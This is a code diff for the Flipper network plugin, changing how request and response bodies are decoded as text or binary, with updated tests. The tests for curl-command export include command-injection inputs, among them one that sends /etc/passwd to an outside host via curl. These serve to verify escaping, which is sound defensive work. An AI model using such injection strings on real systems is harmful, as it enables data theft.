diff --git a/desktop/plugins/public/network/RequestDetails.tsx b/desktop/plugins/public/network/RequestDetails.tsx index 2e0b17740..a68114e8e 100644 --- a/desktop/plugins/public/network/RequestDetails.tsx +++ b/desktop/plugins/public/network/RequestDetails.tsx @@ -23,7 +23,7 @@ import { } from 'flipper-plugin'; import {Select, Typography} from 'antd'; -import {formatBytes, decodeBody, getHeaderValue} from './utils'; +import {bodyAsBinary, bodyAsString, formatBytes, getHeaderValue} from './utils'; import {Request, Header, Insights, RetryInsights} from './types'; import {BodyOptions} from './index'; import {ProtobufDefinitionsRepository} from './ProtobufDefinitionsRepository'; @@ -185,7 +185,7 @@ class RequestBodyInspector extends Component<{ }> { render() { const {request, formattedText} = this.props; - if (request.requestData == null || request.requestData.trim() === '') { + if (request.requestData == null || request.requestData === '') { return ; } const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters; @@ -221,7 +221,7 @@ class ResponseBodyInspector extends Component<{ }> { render() { const {request, formattedText} = this.props; - if (request.responseData == null || request.responseData.trim() === '') { + if (request.responseData == null || request.responseData === '') { return ; } const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters; @@ -265,36 +265,11 @@ const Empty = () => ( ); -function getRequestData(request: Request) { - return { - headers: request.requestHeaders, - data: request.requestData, - }; -} - -function getResponseData(request: Request) { - return { - headers: request.responseHeaders, - data: request.responseData, - }; -} - function renderRawBody(request: Request, mode: 'request' | 'response') { - // TODO: we want decoding only for non-binary data! See D23403095 const data = mode === 'request' ? request.requestData : request.responseData; - const decoded = decodeBody( - mode === 'request' ? getRequestData(request) : getResponseData(request), - ); return ( - {decoded ? ( - {decoded} - ) : ( - <> - (Failed to decode) - {data} - - )} + {bodyAsString(data)} ); } @@ -359,7 +334,9 @@ class ImageFormatter { const src = `data:${getHeaderValue( request.responseHeaders, 'content-type', - )};base64,${request.responseData}`; + )};base64,${Base64.fromUint8Array( + bodyAsBinary(request.responseData)!, + )}`; return ; } else { // fallback to using the request url @@ -416,14 +393,14 @@ class XMLText extends Component<{body: any}> { class JSONTextFormatter { formatRequest(request: Request) { return this.format( - decodeBody(getRequestData(request)), + bodyAsString(request.requestData), getHeaderValue(request.requestHeaders, 'content-type'), ); } formatResponse(request: Request) { return this.format( - decodeBody(getResponseData(request)), + bodyAsString(request.responseData), getHeaderValue(request.responseHeaders, 'content-type'), ); } @@ -452,14 +429,14 @@ class JSONTextFormatter { class XMLTextFormatter { formatRequest(request: Request) { return this.format( - decodeBody(getRequestData(request)), + bodyAsString(request.requestData), getHeaderValue(request.requestHeaders, 'content-type'), ); } formatResponse(request: Request) { return this.format( - decodeBody(getResponseData(request)), + bodyAsString(request.responseData), getHeaderValue(request.responseHeaders, 'content-type'), ); } @@ -474,14 +451,14 @@ class XMLTextFormatter { class JSONFormatter { formatRequest(request: Request) { return this.format( - decodeBody(getRequestData(request)), + bodyAsString(request.requestData), getHeaderValue(request.requestHeaders, 'content-type'), ); } formatResponse(request: Request) { return this.format( - decodeBody(getResponseData(request)), + bodyAsString(request.responseData), getHeaderValue(request.responseHeaders, 'content-type'), ); } @@ -514,7 +491,7 @@ class JSONFormatter { class LogEventFormatter { formatRequest(request: Request) { if (request.url.indexOf('logging_client_event') > 0) { - const data = querystring.parse(decodeBody(getRequestData(request))); + const data = querystring.parse(bodyAsString(request.requestData)); if (typeof data.message === 'string') { data.message = JSON.parse(data.message); } @@ -526,7 +503,7 @@ class LogEventFormatter { class GraphQLBatchFormatter { formatRequest(request: Request) { if (request.url.indexOf('graphqlbatch') > 0) { - const data = querystring.parse(decodeBody(getRequestData(request))); + const data = querystring.parse(bodyAsString(request.requestData)); if (typeof data.queries === 'string') { data.queries = JSON.parse(data.queries); } @@ -554,7 +531,7 @@ class GraphQLFormatter { const requestStartMs = serverMetadata['request_start_time_ms']; const timeAtFlushMs = serverMetadata['time_at_flush_ms']; return ( - + {'Server wall time for initial response (ms): ' + (timeAtFlushMs - requestStartMs)} @@ -562,11 +539,11 @@ class GraphQLFormatter { } formatRequest(request: Request) { if (request.url.indexOf('graphql') > 0) { - const decoded = decodeBody(getRequestData(request)); + const decoded = request.requestData; if (!decoded) { return undefined; } - const data = querystring.parse(decoded); + const data = querystring.parse(bodyAsString(decoded)); if (typeof data.variables === 'string') { data.variables = JSON.parse(data.variables); } @@ -579,7 +556,7 @@ class GraphQLFormatter { formatResponse(request: Request) { return this.format( - decodeBody(getResponseData(request)), + bodyAsString(request.responseData!), getHeaderValue(request.responseHeaders, 'content-type'), ); } @@ -621,11 +598,16 @@ class FormUrlencodedFormatter { formatRequest = (request: Request) => { const contentType = getHeaderValue(request.requestHeaders, 'content-type'); if (contentType.startsWith('application/x-www-form-urlencoded')) { - const decoded = decodeBody(getRequestData(request)); + const decoded = request.requestData; if (!decoded) { return undefined; } - return ; + return ( + + ); } }; } @@ -675,7 +657,7 @@ class ProtobufFormatter { if (request.requestData) { const data = protobufDefinition.decode( - Base64.toUint8Array(request.requestData), + bodyAsBinary(request.requestData)!, ); return {data.toJSON()}; } else { @@ -708,7 +690,7 @@ class ProtobufFormatter { if (request.responseData) { const data = protobufDefinition.decode( - Base64.toUint8Array(request.responseData), + bodyAsBinary(request.responseData)!, ); return {data.toJSON()}; } else { diff --git a/desktop/plugins/public/network/__tests__/chunks.node.tsx b/desktop/plugins/public/network/__tests__/chunks.node.tsx index d7123a4f0..4c9dde3fa 100644 --- a/desktop/plugins/public/network/__tests__/chunks.node.tsx +++ b/desktop/plugins/public/network/__tests__/chunks.node.tsx @@ -88,8 +88,14 @@ test('Reducer correctly adds followup chunk', () => { test('Reducer correctly combines initial response and followup chunk', () => { const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin); sendEvent('newRequest', { - data: 'x', - headers: [{key: 'y', value: 'z'}], + data: btoa('x'), + headers: [ + {key: 'y', value: 'z'}, + { + key: 'Content-Type', + value: 'text/plain', + }, + ], id: '1', method: 'GET', timestamp: 0, @@ -97,7 +103,7 @@ test('Reducer correctly combines initial response and followup chunk', () => { }); sendEvent('partialResponse', { data: 'aGVs', - headers: [], + headers: [{key: 'Content-Type', value: 'text/plain'}], id: '1', insights: null, isMock: false, @@ -113,7 +119,12 @@ test('Reducer correctly combines initial response and followup chunk', () => { "followupChunks": Object {}, "initialResponse": Object { "data": "aGVs", - "headers": Array [], + "headers": Array [ + Object { + "key": "Content-Type", + "value": "text/plain", + }, + ], "id": "1", "index": 0, "insights": null, @@ -128,7 +139,13 @@ test('Reducer correctly combines initial response and followup chunk', () => { `); expect(instance.requests.records()[0]).toMatchObject({ requestData: 'x', - requestHeaders: [{key: 'y', value: 'z'}], + requestHeaders: [ + {key: 'y', value: 'z'}, + { + key: 'Content-Type', + value: 'text/plain', + }, + ], id: '1', method: 'GET', url: 'http://test.com', @@ -155,9 +172,13 @@ test('Reducer correctly combines initial response and followup chunk', () => { key: 'y', value: 'z', }, + { + key: 'Content-Type', + value: 'text/plain', + }, ], - responseData: 'aGVsbG8=', - responseHeaders: [], + responseData: 'hello', + responseHeaders: [{key: 'Content-Type', value: 'text/plain'}], responseIsMock: false, responseLength: 5, status: 200, diff --git a/desktop/plugins/public/network/__tests__/encoding.node.tsx b/desktop/plugins/public/network/__tests__/encoding.node.tsx index d38a82446..df89ae5a9 100644 --- a/desktop/plugins/public/network/__tests__/encoding.node.tsx +++ b/desktop/plugins/public/network/__tests__/encoding.node.tsx @@ -14,12 +14,16 @@ import {ResponseInfo} from '../types'; import {promisify} from 'util'; import {readFileSync} from 'fs'; -async function createMockResponse(input: string): Promise { +async function createMockResponse( + input: string, + contentType: string, +): Promise { const inputData = await promisify(readFile)( path.join(__dirname, 'fixtures', input), 'ascii', ); const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body + const contentTypeHeader = {key: 'Content-Type', value: contentType}; const testResponse: ResponseInfo = { id: '0', timestamp: 0, @@ -31,8 +35,9 @@ async function createMockResponse(input: string): Promise { key: 'Content-Encoding', value: 'gzip', }, + contentTypeHeader, ] - : [], + : [contentTypeHeader], data: inputData.replace(/\s+?/g, '').trim(), // remove whitespace caused by copy past of the base64 data, isMock: false, insights: undefined, @@ -42,6 +47,18 @@ async function createMockResponse(input: string): Promise { return testResponse; } +function bodyAsString(response: ResponseInfo) { + const res = decodeBody(response.headers, response.data); + expect(typeof res).toBe('string'); + return (res as string).trim(); +} + +function bodyAsBuffer(response: ResponseInfo) { + const res = decodeBody(response.headers, response.data); + expect(res).toBeInstanceOf(Uint8Array); + return Buffer.from(res as Uint8Array); +} + describe('network data encoding', () => { const donatingExpected = readFileSync( path.join(__dirname, 'fixtures', 'donating.md'), @@ -56,46 +73,66 @@ describe('network data encoding', () => { ); test('donating.md.utf8.ios.txt', async () => { - const response = await createMockResponse('donating.md.utf8.ios.txt'); - expect(decodeBody(response).trim()).toEqual(donatingExpected); + const response = await createMockResponse( + 'donating.md.utf8.ios.txt', + 'text/plain', + ); + expect(bodyAsString(response)).toEqual(donatingExpected); }); test('donating.md.utf8.gzip.ios.txt', async () => { - const response = await createMockResponse('donating.md.utf8.gzip.ios.txt'); - expect(decodeBody(response).trim()).toEqual(donatingExpected); + const response = await createMockResponse( + 'donating.md.utf8.gzip.ios.txt', + 'text/plain', + ); + expect(bodyAsString(response)).toEqual(donatingExpected); }); test('donating.md.utf8.android.txt', async () => { - const response = await createMockResponse('donating.md.utf8.android.txt'); - expect(decodeBody(response).trim()).toEqual(donatingExpected); + const response = await createMockResponse( + 'donating.md.utf8.android.txt', + 'text/plain', + ); + expect(bodyAsString(response)).toEqual(donatingExpected); }); test('donating.md.utf8.gzip.android.txt', async () => { const response = await createMockResponse( 'donating.md.utf8.gzip.android.txt', + 'text/plain', ); - expect(decodeBody(response).trim()).toEqual(donatingExpected); + expect(bodyAsString(response)).toEqual(donatingExpected); }); test('tiny_logo.android.txt', async () => { - const response = await createMockResponse('tiny_logo.android.txt'); + const response = await createMockResponse( + 'tiny_logo.android.txt', + 'image/png', + ); expect(response.data).toEqual(tinyLogoExpected.toString('base64')); + expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected); }); test('tiny_logo.android.txt - encoded', async () => { - const response = await createMockResponse('tiny_logo.android.txt'); + const response = await createMockResponse( + 'tiny_logo.android.txt', + 'image/png', + ); // this compares to the correct base64 encoded src tag of the img in Flipper UI expect(response.data).toEqual(tinyLogoBase64Expected.trim()); + expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected); }); test('tiny_logo.ios.txt', async () => { - const response = await createMockResponse('tiny_logo.ios.txt'); + const response = await createMockResponse('tiny_logo.ios.txt', 'image/png'); expect(response.data).toEqual(tinyLogoExpected.toString('base64')); + expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected); }); test('tiny_logo.ios.txt - encoded', async () => { - const response = await createMockResponse('tiny_logo.ios.txt'); + const response = await createMockResponse('tiny_logo.ios.txt', 'image/png'); // this compares to the correct base64 encoded src tag of the img in Flipper UI expect(response.data).toEqual(tinyLogoBase64Expected.trim()); + expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected); }); }); diff --git a/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx b/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx index 72ae01599..43f075c56 100644 --- a/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx +++ b/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx @@ -30,7 +30,7 @@ test('convertRequestToCurlCommand: simple POST', () => { method: 'POST', url: 'https://fbflipper.com/', requestHeaders: [], - requestData: btoa('some=data&other=param'), + requestData: 'some=data&other=param', }; const command = convertRequestToCurlCommand(request); @@ -46,7 +46,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => { method: 'POST', url: "https://fbflipper.com/'; cat /etc/password", requestHeaders: [], - requestData: btoa('some=data&other=param'), + requestData: 'some=data&other=param', }; let command = convertRequestToCurlCommand(request); @@ -60,7 +60,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => { method: 'POST', url: 'https://fbflipper.com/"; cat /etc/password', requestHeaders: [], - requestData: btoa('some=data&other=param'), + requestData: 'some=data&other=param', }; command = convertRequestToCurlCommand(request); @@ -76,7 +76,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => { method: 'POST', url: "https://fbflipper.com/'; cat /etc/password", requestHeaders: [], - requestData: btoa('some=data&other=param'), + requestData: 'some=data&other=param', }; let command = convertRequestToCurlCommand(request); @@ -90,7 +90,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => { method: 'POST', url: 'https://fbflipper.com/"; cat /etc/password', requestHeaders: [], - requestData: btoa('some=data&other=param'), + requestData: 'some=data&other=param', }; command = convertRequestToCurlCommand(request); @@ -106,9 +106,7 @@ test('convertRequestToCurlCommand: malicious POST data', () => { method: 'POST', url: 'https://fbflipper.com/', requestHeaders: [], - requestData: btoa( - 'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"', - ), + requestData: 'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"', }; let command = convertRequestToCurlCommand(request); @@ -122,7 +120,7 @@ test('convertRequestToCurlCommand: malicious POST data', () => { method: 'POST', url: 'https://fbflipper.com/', requestHeaders: [], - requestData: btoa('some=!!'), + requestData: 'some=!!', }; command = convertRequestToCurlCommand(request); @@ -138,7 +136,7 @@ test('convertRequestToCurlCommand: control characters', () => { method: 'GET', url: 'https://fbflipper.com/', requestHeaders: [], - requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'), + requestData: 'some=\u0007 \u0009 \u000C \u001B&other=param', }; const command = convertRequestToCurlCommand(request); diff --git a/desktop/plugins/public/network/index.tsx b/desktop/plugins/public/network/index.tsx index 2802d5009..12ea334f1 100644 --- a/desktop/plugins/public/network/index.tsx +++ b/desktop/plugins/public/network/index.tsx @@ -41,6 +41,7 @@ import { formatBytes, formatDuration, requestsToText, + decodeBody, } from './utils'; import RequestDetails from './RequestDetails'; import {URL} from 'url'; @@ -329,7 +330,7 @@ function createRequestFromRequestInfo(data: RequestInfo): Request { url: data.url ?? '', domain, requestHeaders: data.headers, - requestData: data.data ?? undefined, + requestData: decodeBody(data.headers, data.data), }; } @@ -343,7 +344,7 @@ function updateRequestWithResponseInfo( status: response.status, reason: response.reason, responseHeaders: response.headers, - responseData: response.data ?? undefined, + responseData: decodeBody(response.headers, response.data), responseIsMock: response.isMock, responseLength: getResponseLength(response), duration: response.timestamp - request.requestTime.getTime(), diff --git a/desktop/plugins/public/network/request-mocking/NetworkRouteManager.tsx b/desktop/plugins/public/network/request-mocking/NetworkRouteManager.tsx index 646e17a42..7ec2aaffd 100644 --- a/desktop/plugins/public/network/request-mocking/NetworkRouteManager.tsx +++ b/desktop/plugins/public/network/request-mocking/NetworkRouteManager.tsx @@ -13,7 +13,7 @@ import electron, {OpenDialogOptions, remote} from 'electron'; import {Atom, DataTableManager} from 'flipper-plugin'; import {createContext} from 'react'; import {Header, Request} from '../types'; -import {decodeBody} from '../utils'; +import {bodyAsString, decodeBody} from '../utils'; import {message} from 'antd'; export type Route = { @@ -120,10 +120,10 @@ export function createNetworkManager( // convert data TODO: we only want this for non-binary data! See D23403095 const responseData = request && request.responseData - ? decodeBody({ - headers: request.responseHeaders ?? [], - data: request.responseData, - }) + ? decodeBody( + request.responseHeaders ?? [], + bodyAsString(request.responseData), + ) : ''; const newNextRouteId = nextRouteId.get(); diff --git a/desktop/plugins/public/network/types.tsx b/desktop/plugins/public/network/types.tsx index 0a6f3a23b..cda73f7b7 100644 --- a/desktop/plugins/public/network/types.tsx +++ b/desktop/plugins/public/network/types.tsx @@ -20,13 +20,13 @@ export interface Request { url: string; domain: string; requestHeaders: Array
; - requestData?: string; + requestData: string | Uint8Array | undefined; // response responseTime?: Date; status?: number; reason?: string; responseHeaders?: Array
; - responseData?: string; + responseData?: string | Uint8Array | undefined; responseLength?: number; responseIsMock?: boolean; duration?: number; diff --git a/desktop/plugins/public/network/utils.tsx b/desktop/plugins/public/network/utils.tsx index 98b1beaa9..9d6c4515a 100644 --- a/desktop/plugins/public/network/utils.tsx +++ b/desktop/plugins/public/network/utils.tsx @@ -26,27 +26,42 @@ export function getHeaderValue( return ''; } -export function decodeBody(container: { - headers?: Array
; - data: string | null | undefined; -}): string { - if (!container.data) { - return ''; +export function isTextual(headers?: Array
): boolean { + const contentType = getHeaderValue(headers, 'Content-Type'); + if (!contentType) { + return false; + } + // https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types + // https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types + return ( + contentType.startsWith('text/') || + contentType.startsWith('application/x-www-form-urlencoded') || + contentType.startsWith('application/json') || + contentType.startsWith('multipart/') || + contentType.startsWith('message/') || + contentType.startsWith('image/svg') + ); +} + +export function decodeBody( + headers?: Array
, + data?: string | null, +): string | undefined | Uint8Array { + if (!data) { + return undefined; } try { - const isGzip = - getHeaderValue(container.headers, 'Content-Encoding') === 'gzip'; + const isGzip = getHeaderValue(headers, 'Content-Encoding') === 'gzip'; if (isGzip) { try { - const binStr = Base64.atob(container.data); - const dataArr = new Uint8Array(binStr.length); - for (let i = 0; i < binStr.length; i++) { - dataArr[i] = binStr.charCodeAt(i); - } - // The request is gzipped, so convert the base64 back to the raw bytes first, - // then inflate. pako will detect the BOM headers and return a proper utf-8 string right away - return pako.inflate(dataArr, {to: 'string'}); + // The request is gzipped, so convert the raw bytes back to base64 first. + const dataArr = Base64.toUint8Array(data); + // then inflate. + return isTextual(headers) + ? // pako will detect the BOM headers and return a proper utf-8 string right away + pako.inflate(dataArr, {to: 'string'}) + : pako.inflate(dataArr); } catch (e) { // on iOS, the stream send to flipper is already inflated, so the content-encoding will not // match the actual data anymore, and we should skip inflating. @@ -57,14 +72,18 @@ export function decodeBody(container: { } } // If this is not a gzipped request, assume we are interested in a proper utf-8 string. - // - If the raw binary data in is needed, in base64 form, use container.data directly - // - either directly use container.data (for example) - return Base64.decode(container.data); + // - If the raw binary data in is needed, in base64 form, use data directly + // - either directly use data (for example) + if (isTextual(headers)) { + return Base64.decode(data); + } else { + return Base64.toUint8Array(data); + } } catch (e) { console.warn( - `Flipper failed to decode request/response body (size: ${container.data.length}): ${e}`, + `Flipper failed to decode request/response body (size: ${data.length}): ${e}`, ); - return ''; + return undefined; } } @@ -78,17 +97,31 @@ export function convertRequestToCurlCommand( const headerStr = `${header.key}: ${header.value}`; command += ` -H ${escapedString(headerStr)}`; }); - // Add body. TODO: we only want this for non-binary data! See D23403095 - const body = decodeBody({ - headers: request.requestHeaders, - data: request.requestData, - }); - if (body) { - command += ` -d ${escapedString(body)}`; + if (typeof request.requestData === 'string') { + command += ` -d ${escapedString(request.requestData)}`; } return command; } +export function bodyAsString(body: undefined | string | Uint8Array): string { + if (body == undefined) { + return '(empty)'; + } + if (body instanceof Uint8Array) { + return '(binary data)'; + } + return body; +} + +export function bodyAsBinary( + body: undefined | string | Uint8Array, +): Uint8Array | undefined { + if (body instanceof Uint8Array) { + return body; + } + return undefined; +} + function escapeCharacter(x: string) { const code = x.charCodeAt(0); return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16); @@ -167,21 +200,8 @@ export function requestsToText(requests: Request[]): string { .join('\n')}`; // TODO: we want decoding only for non-binary data! See D23403095 - const requestData = request.requestData - ? decodeBody({ - headers: request.requestHeaders, - data: request.requestData, - }) - : null; - const responseData = request.responseData - ? decodeBody({ - headers: request.responseHeaders, - data: request.responseData, - }) - : null; - - if (requestData) { - copyText += `\n\n${requestData}`; + if (request.requestData) { + copyText += `\n\n${request.requestData}`; } if (request.status) { copyText += ` @@ -198,8 +218,8 @@ export function requestsToText(requests: Request[]): string { }`; } - if (responseData) { - copyText += `\n\n${responseData}`; + if (request.responseData) { + copyText += `\n\n${request.responseData}`; } return copyText; }